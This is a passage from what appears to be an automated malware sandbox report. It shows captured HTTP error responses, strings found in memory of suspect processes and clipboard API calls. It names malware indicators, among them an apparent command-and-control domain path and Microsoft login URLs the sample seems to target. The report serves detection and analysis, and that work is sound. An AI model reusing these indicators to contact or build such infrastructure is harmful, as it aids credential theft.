Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 19:11:07 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 19:11:09 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 19:11:12 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 19:11:14 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 10 Jan 2025 19:11:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 10 Jan 2025 19:11:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 10 Jan 2025 19:11:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 19:11:47 GMTtransfer-encoding: chunkedconnection: closeData Raw: 31 31 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4d 4e 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 19:11:51 GMTtransfer-encoding: chunkedconnection: closeData Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 0d 0a 33 31 45 41 0d 0a 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 6

Source: ycBMGRFRlht.exe, 00000008.00000002.2615837301.000000000570B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.oneeyetrousersnake.xyz
Source: ycBMGRFRlht.exe, 00000008.00000002.2615837301.000000000570B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.oneeyetrousersnake.xyz/4inx/
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powercfg.exe, 00000005.00000002.2614313409.000000000417A000.00000004.10000000.00040000.00000000.sdmp, powercfg.exe, 00000005.00000002.2616328430.00000000062F0000.00000004.00000800.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613874662.0000000003ABA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://joker.com/?pk_campaign=Parking&pk_kwd=text
Source: powercfg.exe, 00000005.00000002.2616328430.00000000062F0000.00000004.00000800.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.0000000003FE8000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613874662.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: powercfg.exe, 00000005.00000003.2074271825.0000000007D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033R
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006C4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_006C4164

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006C4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_006C4164

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

